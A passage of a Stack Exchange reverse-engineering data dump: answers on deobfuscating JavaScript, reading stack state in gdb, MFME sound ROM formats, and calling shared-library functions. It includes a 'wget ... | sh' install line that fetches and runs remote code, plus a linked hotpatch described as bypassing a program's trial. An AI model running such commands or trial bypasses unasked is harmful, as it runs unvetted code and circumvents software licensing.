$$=x.$+(!&quot;&quot;+&quot;&quot;)[x._$$]+x.__+x._+x.$+x.$$;&#xA;x.$=(x.___)[x.$_][x.$_];&#xA;x.$(x.$(x.$$+&quot;\&quot;&quot;+&quot;$('&amp;lt;\\&quot;+x.__$+x.$$_+x._$$+x.$$__+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x.___+x.__+&quot;\\&quot;+x.$__+x.___+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;\\&quot;+x.__$+x.$$_+x._$_+x.$$__+&quot;=\\\&quot;&quot;+x.$_$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;\\&quot;+x.__$+x.$$_+x._$$+x.$$$_+x.__+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;/\\&quot;+x.__$+x.$_$+x._$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;/\\&quot;+x.__$+x.__$+x.$_$+x.$_$_+x.__+&quot;\\&quot;+x.__$+x.$__+x.$$$+&quot;\\&quot;+x.__$+x.$_$+x.___+&quot;\\&quot;+x.__$+x.$$$+x.__$+x._+&quot;/\\&quot;+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+&quot;/\\&quot;+x.__$+x.$$_+x.$$$+x.$_$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;.&quot;+x.$$__+x._$+&quot;\\&quot;+x.__$+x.$$_+x._$_+x.$$$_+&quot;.\\&quot;+x.__$+x.$_$+x._$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;?\\&quot;+x.__$+x.$$_+x.$$_+&quot;=&quot;+x.__$+x.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+x.__$+x.$$_+x._$$+x.$$__+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x.___+x.__+&quot;&amp;gt;').&quot;+x.$_$_+&quot;\\&quot;+x.__$+x.$$_+x.___+&quot;\\&quot;+x.__$+x.$$_+x.___+x.$$$_+&quot;\\&quot;+x.__$+x.$_$+x.$$_+x.$$_$+&quot;\\&quot;+x.__$+x._$_+x.$__+x._$+&quot;(\\\&quot;&quot;+x.$_$$+x._$+x.$$_$+&quot;\\&quot;+x.__$+x.$$$+x.__$+&quot;\\\&quot;),\\&quot;+x.__$+x._$_+&quot;$('&amp;lt;\\&quot;+x.__$+x.$$_+x._$$+x.$$__+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x.___+x.__+&quot;\\&quot;+x.$__+x.___+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;\\&quot;+x.__$+x.$$_+x._$_+x.$$__+&quot;=\\\&quot;&quot;+x.$_$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;\\&quot;+x.__$+x.$$_+x._$$+x.$$$_+x.__+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;/\\&quot;+x.__$+x.$_$+x._$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;/\\&quot;+x.__$+x.__$+x.$_$+x.$_$_+x.__+&quot;\\&quot;+x.__$+x.$__+x.$$$+&quot;\\&quot;+x.__$+x.$_$+x.___+&quot;\\&quot;+x.__$+x.$$$+x.__$+x._+&quot;/\\&quot;+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+&quot;/\\&quot;+x.__$+x.$$_+x.$$$+x.$_$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;.\\&quot;+x.__$+x.$_$+x.$_$+x.$_$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$_$+x.$$_+&quot;_&quot;+x._$+x._+x.__+&quot;.\\&quot;+x.__$+x.$_$+x._$_+&quot;\\&quot;+x.__$+x.$$_+x._$$+&quot;?\\&quot;+x.__$+x.$$_+x.$$_+&quot;=&quot;+x.$$_+&quot;\\\&quot;&amp;gt;&amp;lt;\\\\/\\&quot;+x.__$+x.$$_+x._$$+x.$$__+&quot;\\&quot;+x.__$+x.$$_+x._$_+&quot;\\&quot;+x.__$+x.$_$+x.__$+&quot;\\&quot;+x.__$+x.$$_+x.___+x.__+&quot;&amp;gt;').&quot;+x.$_$_+&quot;\\&quot;+x.__$+x.$$_+x.___+&quot;\\&quot;+x.__$+x.$$_+x.___+x.$$$_+&quot;\\&quot;+x.__$+x.$_$+x.$$_+x.$$_$+&quot;\\&quot;+x.__$+x._$_+x.$__+x._$+&quot;(\\\&quot;&quot;+x.$_$$+x._$+x.$$_$+&quot;\\&quot;+x.__$+x.$$$+x.__$+&quot;\\\&quot;);&quot;+&quot;\&quot;&quot;)())();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, without diving deeper into the code you can see that the code is combined from 6 lines. The first five are variable declarations and applying values to them, whereas the last line is the actual execution of the code (&lt;em&gt;notice the &lt;code&gt;()&lt;/code&gt; at the end which is a call for a function&lt;/em&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way, in my opinion, to understand what the code does is to simply replace the &lt;code&gt;()&lt;/code&gt; at the end with &lt;code&gt;.toString()&lt;/code&gt;. This will make the program print the final code instead of executing it. Thus, with just a simple step you can deobfuscate and understand the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; don't execute an obfuscated or possibly-malicious code on your machine. Use virtual machine or another safe environment to execute it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=~[];&#xA;...&#xA;...&#xA;&amp;lt; truncated for readability &amp;gt;&#xA;...&#xA;...&quot;\\&quot;+x.__$+x.$$$+x.__$+&quot;\\\&quot;);&quot;+&quot;\&quot;&quot;)()).toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the following code is being printed to your screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;function anonymous(&#xA;) {&#xA;$('&amp;lt;script src=&quot;assets/js/Matghyu/Ce5a/wair.core.js?v=16&quot;&amp;gt;&amp;lt;\/script&amp;gt;').appendTo(&quot;body&quot;),&#xA;$('&amp;lt;script src=&quot;assets/js/Matghyu/Ce5a/wair.main_out.js?v=6&quot;&amp;gt;&amp;lt;\/script&amp;gt;').appendTo(&quot;body&quot;);&#xA;}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we can understand that the obfuscated code is appending two &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags to the &lt;code&gt;body&lt;/code&gt; of the HTML page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to you can always try to understand how the final code was built but I usually stop here since I already figured out what the program does and following the obfuscation method might cause a headache sometimes.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-07-29T09:02:57.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15947" PostTypeId="1" AcceptedAnswerId="15950" CreationDate="2017-07-29T09:12:16.537" Score="8" ViewCount="3007" Body="&lt;p&gt;Sometime I have to reverse engineer / disassemble some software/firmware/application, how can I keep track of the findings, the application flow I discovered and generally the details I need when I return to work on that project after some time (months)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often I have to analyze some kind of home-made encryption system and while I work on the project I can keep all the details I need in mind but if I pause the project for some time (ex. 1 month) when I return to work on it I have to relearn at least half of the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up: I am searching for an easy, browsable, system to keep track of details of applications I disassemble to make them useful.&lt;/p&gt;&#xA;" OwnerUserId="21036" LastActivityDate="2017-08-12T17:50:03.853" Title="How to document a reverse engineering operation?" Tags="|documentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15948" PostTypeId="2" ParentId="15895" CreationDate="2017-07-29T09:34:12.403" Score="1" Body="&lt;p&gt;Although they are not free, you can try either &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper Disassembler&lt;/a&gt; and &lt;a href=&quot;https://binary.ninja/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Ninja&lt;/a&gt;. Both can be bought starting from $99.&lt;/p&gt;&#xA;" OwnerUserId="21037" LastActivityDate="2017-07-29T09:34:12.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15949" PostTypeId="2" ParentId="15890" CreationDate="2017-07-29T13:24:58.427" Score="0" Body="&lt;p&gt;if you want call it directly from java code, it won't work because jvm does not recognize it.&#xA;But you can write a proxy so file which would call the fun function. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;example&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; void *handler= dlopen(&quot;libxxx.so&quot;, RTLD_LAZY);//open the so&#xA; void *(*fun)(); //the definition of the fun pointer you want to call&#xA; fun = (void *(*)())dlsym(handler,&quot;fun&quot;); // get the dynsym&#xA; fun(); //call it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;note:&#xA;need check : handler != NULL &amp;amp;&amp;amp; fun != NULL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can get the dynamic symbol use readelf tool in linux&lt;/p&gt;&#xA;" OwnerUserId="6941" LastEditorUserId="6941" LastEditDate="2017-12-09T09:57:51.360" LastActivityDate="2017-12-09T09:57:51.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15950" PostTypeId="2" ParentId="15947" CreationDate="2017-07-29T13:42:14.487" Score="2" Body="&lt;p&gt;Reverse engineering is not quite mature at the moment.&#xA;When I do it, I often do these things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the important functions clear names.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Draw flow charts using some engineering software/tools with class structures.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The final weapon: rewrite the source code of the program (or a part of it) according to your analysis. The code is the best document.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might need to read on software engineering to see how others&#xA;keep track of things in huge software projects.&lt;/p&gt;&#xA;" OwnerUserId="6941" LastEditorUserId="116" LastEditDate="2017-08-12T17:50:03.853" LastActivityDate="2017-08-12T17:50:03.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15956" PostTypeId="2" ParentId="15933" CreationDate="2017-07-30T10:58:09.017" Score="-1" Body="&lt;p&gt;Here is an example for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend and I made this a long time ago, to bypass trial on a certain program (not naming it). It modifies the value that &lt;code&gt;GetSystemTimeAsFileTime&lt;/code&gt; returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fyyre.ru/dllmain.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetSystemTimeAsFileTime Hotpatch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21049" LastEditorUserId="19326" LastEditDate="2017-07-30T13:43:30.520" LastActivityDate="2017-07-30T13:43:30.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15958" PostTypeId="1" CreationDate="2017-07-30T17:15:21.203" Score="2" ViewCount="219" Body="&lt;p&gt;Say I have the following Javascript array: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0xe984=[ '\x61\x70\x70\x6c\x79',&#xA;  '\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x29\x20',&#xA;  '\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x29',&#xA;  '\x69\x74\x65\x6d', '\x65\x76\x61\x6c', &#xA;  '\x77\x68\x69\x6c\x65\x28\x74\x72\x75\x65\x29\x7b\x7d',&#xA;  '\x5b\x62\x62\x4e\x6a\x6b\x59\x56\x63\x6e\x64\x76\x75\x53\x67\x4a\x67\x50\x55\x65\x6d\x51\x5d',&#xA;  '\x77\x61\x62\x62\x4e\x6a\x6b\x59\x56\x63\x69\x72\x2e\x69\x6e\x64\x6f\x76\x75\x53\x67\x4a\x67\x50\x55\x65\x6d\x51',&#xA;  '\x72\x65\x70\x6c\x61\x63\x65', '\x66\x6f\x72\x45\x61\x63\x68',&#xA;  '\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72',&#xA;  ...&amp;lt;TRUNCATED FOR READABILITY&amp;gt;...,&#xA;  '\x64\x65\x62\x75\x67\x67\x65\x72'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://jsnice.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;jsnice.org&lt;/a&gt; to deobfuscate this code, and I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_0xe984(&quot;0xa&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is whether &lt;code&gt;_0xe984(&quot;0xa&quot;)&lt;/code&gt; is equivalent to &lt;code&gt;_0xe984.10&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="21032" LastEditorUserId="53" LastEditDate="2017-07-31T05:25:13.337" LastActivityDate="2023-12-20T14:52:25.350" Title="How to call an item of a Javascript array?" Tags="|deobfuscation|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15959" PostTypeId="2" ParentId="15958" CreationDate="2017-07-30T18:27:26.787" Score="2" Body="&lt;p&gt;The variable &lt;code&gt;_0xe984&lt;/code&gt; in your example is an array of strings, therefore, calling it with &lt;code&gt;_0xe984(&quot;0xa&quot;)&lt;/code&gt; is actually to call as if it was a function that gets the string &quot;0xa&quot; as a parameter. Thus, the interpreter will throw an exception because &lt;code&gt;_0xe984&lt;/code&gt; is not a function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, calling &lt;code&gt;_0xe984[0xa]&lt;/code&gt; will output the item in the index 0xa (i.e index 10) of the array &lt;code&gt;_0xe984&lt;/code&gt;. So if the decoded array is looking like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0xe984 =[&quot;apply&quot;, &quot;return (function () &quot;, &quot;{}.constructor(&quot;return this&quot;)()&quot;, &quot;item&quot;, &quot;eval&quot;, &quot;while(true){}&quot;, &quot;[bbNjkYVcndvuSgJgPUemQ]&quot;, &quot;wabbNjkYVcir.indovuSgJgPUemQ&quot;, &quot;replace&quot;, &quot;forEach&quot;, &quot;constructor&quot;, &quot;return this&quot;, &quot;length&quot;, &quot;charCodeAt&quot;, &quot;indexOf&quot;, &quot;ws://gameserver.wair.uk.to:888&quot;,...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the tenth item of the array is &lt;code&gt;constructor&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another situation which you might encounter with obfuscated Javascript code is that a property of an object is called as if the object was an array. For example, instead of writing &lt;code&gt;document.createElement(...)&lt;/code&gt; you &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors&quot; rel=&quot;nofollow noreferrer&quot;&gt;can&lt;/a&gt; write &lt;code&gt;document['createElement'](...)&lt;/code&gt;. Therefore it is possible that you'll see something like that &lt;code&gt;_0xe984[_0xe984[0xc]]&lt;/code&gt; which will call the property &lt;code&gt;length&lt;/code&gt; of the array object &lt;code&gt;_0xe984&lt;/code&gt; ('length' is the 12th/0xc item in the array) and that will result with the length of the array (124).&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-07-30T18:27:26.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15960" PostTypeId="1" CreationDate="2017-07-30T23:28:26.140" Score="8" ViewCount="7400" Body="&lt;p&gt;By stack I mean the location where local variable, return address etc are stored. Which is pointed to by the esp and ebp.&lt;/p&gt;&#xA;" OwnerUserId="21053" LastActivityDate="2021-11-21T03:27:25.447" Title="Is there any tool to visually see program stack in linux while debugging?" Tags="|debugging|x86|debuggers|stack|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15961" PostTypeId="1" AcceptedAnswerId="15999" CreationDate="2017-07-30T23:33:40.427" Score="1" ViewCount="194" Body="&lt;p&gt;&lt;em&gt;I'm new on this, sorry for bad usage of terms or overextending an explanation. I'm learning code languages and the way I found to bring it to my world so I can learn it better was coding for/with games i play.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When a window close on the game a function needs to be called, when the character move or you pick an item, everything has a command, function, process or some value of an address change and etc... What i wanted to know is if there something that shows me on real time every call, every value change, address value change, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays i have to reach some value address by CheatEngine, changing the value till i find the correct address. With this kind of thing i would have a list off things that is happening right now, and a &quot;log&quot; of the past things, then i go to the exact time that i did something, so i would have to look on that peace of the list and discover what did my &quot;something&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on a button;&lt;/li&gt;&#xA;&lt;li&gt;Check on the real-time thing what happened at the time of the &quot;Click&#xA;on a button&quot; process;&lt;/li&gt;&#xA;&lt;li&gt;Discover what call was responsible for that and what it did;&lt;/li&gt;&#xA;&lt;li&gt;Now i can code something that do what &quot;Click on a button&quot; do, without needing to actually click on that button;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have seen it somewhere, thats why i'm asking here, if i'm totally wrong and this doesn't exist, i'm sorry, i will delete this post.&lt;/p&gt;&#xA;" OwnerUserId="21054" LastEditorUserId="2147" LastEditDate="2017-08-04T01:26:30.683" LastActivityDate="2017-08-06T15:22:34.977" Title="Real-time changes of executable on IDE/Assembler" Tags="|disassembly|assembly|ollydbg|executable|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15962" PostTypeId="1" CreationDate="2017-07-31T03:07:45.383" Score="1" ViewCount="10059" Body="&lt;p&gt;I compiled docker by myself with some modifications. I would like to perform some static analysis to the binary. Mostly to see which parts of the code take more memory, etc. It's on linux (elf). Any suggestion what free tools should I use? I don't have access to IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I would something more specific than:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;size -A -d mydocker&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="1868" LastEditDate="2017-07-31T03:14:08.193" LastActivityDate="2018-03-28T20:02:28.083" Title="Reverse engineering a golang binary file" Tags="|linux|memory|static-analysis|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15963" PostTypeId="2" ParentId="15958" CreationDate="2017-07-31T05:23:52.963" Score="0" Body="&lt;p&gt;you can use powershell to get the ith element in the array like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;([regex]::Unescape((Get-Content .\copypaste.txt))).Split(&quot;,&quot;)[10]&#xA;'constructor'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-31T05:23:52.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15964" PostTypeId="1" AcceptedAnswerId="15966" CreationDate="2017-07-31T09:02:39.247" Score="1" ViewCount="230" Body="&lt;p&gt;I have two files that have the extension &lt;code&gt;.P1&lt;/code&gt; and &lt;code&gt;.P2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These files are ROM sound files from a particular 'real world' fruit machine (also known as a slot machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some Fruit Machine emulation software (MFME) that reads both the sound ROM files and the game ROM files in order recreate the fruit machine within a PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm playing around creating my own fruit machine with the editor side of MFME, based on an existing fruit machine, and want to edit the sounds on this machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately MFME doesn't have the functionality to edit sound files, only to read them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sound ROMs are apparently comprise of all the sounds packed one after another with a table at the start pointing to where each sound file is (lots of short beeps, buzzes, pings etc as you would expect from a fruit machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what software I would need to edit these files in order to insert my own sounds? I originally thought I would need a disassembler but when I downloaded one it wouldn't open them as they weren't either .exe or .dll files (I tried changing the extension of the file but the disassembler still knew they weren't the correct type of file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about reverse engineering these files in order to edit them? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. :-)&lt;/p&gt;&#xA;" OwnerUserId="20454" LastActivityDate="2017-07-31T11:34:23.687" Title="How to edit a type of sound file used with a fruit machine emulator?" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15965" PostTypeId="2" ParentId="15960" CreationDate="2017-07-31T09:16:43.433" Score="4" Body="&lt;p&gt;please have a look to &lt;a href=&quot;https://github.com/hugsy/gef&quot; rel=&quot;nofollow noreferrer&quot;&gt;gef&lt;/a&gt; it is incredibly useful and continuously improved. Here some notes from the main github page:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Entirely OS Agnostic, NO dependencies: GEF is battery-included and&#xA;is installable in 2 seconds (unlike PwnDBG).&lt;/li&gt;&#xA;&lt;li&gt;Fast limiting the number of dependencies and optimizing code to make&#xA;the commands as fast as possible (unlike PwnDBG).&lt;/li&gt;&#xA;&lt;li&gt;Provides more than 50 commands to drastically change your experience&#xA;in GDB.&lt;/li&gt;&#xA;&lt;li&gt;Easily extendable to create other commands by providing more&#xA;comprehensible layout to GDB Python API.&lt;/li&gt;&#xA;&lt;li&gt;Works consistently on both Python2 and Python3.&lt;/li&gt;&#xA;&lt;li&gt;Built around an architecture abstraction layer, so all commands work&#xA;in any GDB-supported architecture such as x86-32/64, ARMv5/6/7,&#xA;AARCH64, SPARC, MIPS, PowerPC, etc. (unlike PEDA)&lt;/li&gt;&#xA;&lt;li&gt;Suited for real-life apps debugging, exploit development, just as&#xA;much as CTF (unlike PEDA or PwnDBG)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Installation&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20857" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-05T05:20:38.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15966" PostTypeId="2" ParentId="15964" CreationDate="2017-07-31T11:34:23.687" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://agemame.mameworld.info/?u=/MFME/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MFME source code&lt;/a&gt; is available to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably want to start with interface.cpp, which has most of the logic for deciding which sound format to load in &lt;code&gt;TForm1::Load(String)&lt;/code&gt;. There are at least ten or so different formats from the look of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then take a look at &lt;code&gt;sample.cpp&lt;/code&gt; which has the implementation for loading files. &lt;code&gt;LoadJPMSound&lt;/code&gt; is of particular interest, but there are other formats to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the key facts for JPM sounds:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File starts with a 1-byte sample count prefix (so I guess 255 samples max?) &lt;/li&gt;&#xA;&lt;li&gt;Next comes a 4-byte magic number (0x5569A55A)&lt;/li&gt;&#xA;&lt;li&gt;After that there's some sort of page table which describes the addresses of the sound data within the ROM.&lt;/li&gt;&#xA;&lt;li&gt;Each audio &quot;page&quot; has a 1-byte flag value at the start. The two MSBs specify the kind of sound.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;00 means silence, where the remainder of the byte (i.e. &lt;code&gt;flag &amp;amp; 0x3F&lt;/code&gt;) specifies how long the silence should be in increments of 20 samples. A zero value here means an empty audio sample.&lt;/li&gt;&#xA;&lt;li&gt;01 means there are 256 &quot;nibbles&quot; of audio. I'm not sure if this means 4-bit values but I haven't seen any bit manipulation in the decoding. The sample rate is set to 160000 divided by the remainder of the flag value plus one.&lt;/li&gt;&#xA;&lt;li&gt;10 means the same as above, except the number of &quot;nibbles&quot; is stored as a byte following the flag.&lt;/li&gt;&#xA;&lt;li&gt;11 means that the sample is a repeating loop. The number of repeats is computed as &lt;code&gt;(flag &amp;amp; 0x7) + 1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For YMZ samples, the file contains 250 sample entries, each consisting of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;16-bit masked sample count, compute as &lt;code&gt;count = (((value &amp;amp; 0xFF00) &amp;gt;&amp;gt; 8) / 6) * 1000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;High byte of buffer pointer.&lt;/li&gt;&#xA;&lt;li&gt;High byte of sample pointer.&lt;/li&gt;&#xA;&lt;li&gt;Mid byte of buffer pointer.&lt;/li&gt;&#xA;&lt;li&gt;Mid byte of sample pointer.&lt;/li&gt;&#xA;&lt;li&gt;Low byte of buffer pointer.&lt;/li&gt;&#xA;&lt;li&gt;Low byte of sample pointer.&lt;/li&gt;&#xA;&lt;li&gt;Sample data in the following format:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4-bit YMZ280B format sample data (channel A)&lt;/li&gt;&#xA;&lt;li&gt;4-bit YMZ280B format sample data (channel B)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The YMZ280B format is step-based format where each next signal value in the wave is encoded as the difference from the previous signal value (or 0 for the first sample). The 4-bit value is an index to a lookup table containing the possible steps: The step LUT is calculated as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// nib from 0000 to 1111&#xA;for (nib = 0; nib &amp;lt; 16; nib++) {&#xA;    int value = (nib &amp;amp; 0x07) * 2 + 1;&#xA;    diff_lookup[nib] = (nib &amp;amp; 0x08) ? -value : value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should hopefully get you started. The source code should get you the rest.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2017-07-31T11:34:23.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15967" PostTypeId="2" ParentId="15960" CreationDate="2017-07-31T12:13:51.677" Score="4" Body="&lt;p&gt;You can use gdb, for example let see this simple program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(){&#xA;  printf(&quot;hello world\n&quot;);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -o simple simple.c -g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run with gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb ./simple&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set a breakpoint in the main function and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b main&#xA;(gdb) r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now we can look at the registers contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) i r &#xA;rax            0x400526 0x400526&#xA;rbx            0x0  0x0&#xA;rcx            0x0  0x0&#xA;rdx            0x7fffffffe518   0x7fffffffe518&#xA;rsi            0x7fffffffe508   0x7fffffffe508&#xA;rdi            0x1  0x1&#xA;rbp            0x7fffffffe420   0x7fffffffe420&#xA;rsp            0x7fffffffe420   0x7fffffffe420&#xA;r8             0x4005b0 0x4005b0&#xA;r9             0x7ffff7de78e0   0x7ffff7de78e0&#xA;r10            0x846    0x846&#xA;r11            0x7ffff7a2e740   0x7ffff7a2e740&#xA;r12            0x400430 0x400430&#xA;r13            0x7fffffffe500   0x7fffffffe500&#xA;r14            0x0  0x0&#xA;r15            0x0  0x0&#xA;rip            0x40052a 0x40052a &amp;lt;main+4&amp;gt;&#xA;eflags         0x246    [ PF ZF IF ]&#xA;cs             0x33 0x33&#xA;ss             0x2b 